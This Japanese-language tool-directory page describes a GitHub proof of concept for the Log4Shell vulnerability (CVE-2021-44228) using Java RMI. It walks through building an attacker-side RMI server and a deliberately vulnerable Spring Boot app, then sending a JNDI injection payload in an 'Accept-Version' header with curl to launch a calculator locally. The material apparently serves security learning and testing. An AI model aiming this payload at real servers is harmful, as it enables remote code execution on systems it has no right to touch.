Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-rmi-poc — Log4jの脆弱性(CVE-2021-44228)のJava-RMIを使用した概念実証 | Kitploit
ツール/GitHubGitHub/labout/log4shell-rmi-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHublabout/log4shell-rmi-poc

log4shell-rmi-poc

Log4jの脆弱性(CVE-2021-44228)のJava-RMIを使用した概念実証

リポジトリを見る
844年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

log4shell-rmi-poc

Log4j脆弱性(CVE-2021-44228)のJava-RMI経由でのProof of Concept
spring-boot-starter-log4j2のLog4j 2.5.7を使用しています。

必要条件:

Java 8(JDK 1.8.0_25)およびJava 11(JDK 11.0.1)でテスト済み

POCの実行方法

1. リポジトリをクローン:

root@kitploit:~
git clone https://github.com/Labout/log4shell-rmi-poc.git

2. 攻撃者側のRMIサーバーを起動

root@kitploit:~
cd Log4jshell_rmi_server

./mvnw clean package

java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar

以下のような出力が得られるはずです:

RMIサーバ

3. 脆弱なLog4jアプリケーション(ここではSpring Bootアプリケーション)を起動

新しいターミナルで

root@kitploit:~
cd vulnerabel_log4j_app

./mvnw clean package

java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar

4. "Accept-version"ヘッダー経由で脆弱なJNDIを注入

root@kitploit:~
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'

ご覧のとおり、脆弱なアプリケーションが電卓アプリを呼び出しています。

エクスプロイト

参考資料

https://www.cisecurity.org/log4j-zero-day-vulnerability-response/
https://www.lunasec.io/docs/blog/log4j-zero-day/

ツールをダウンロード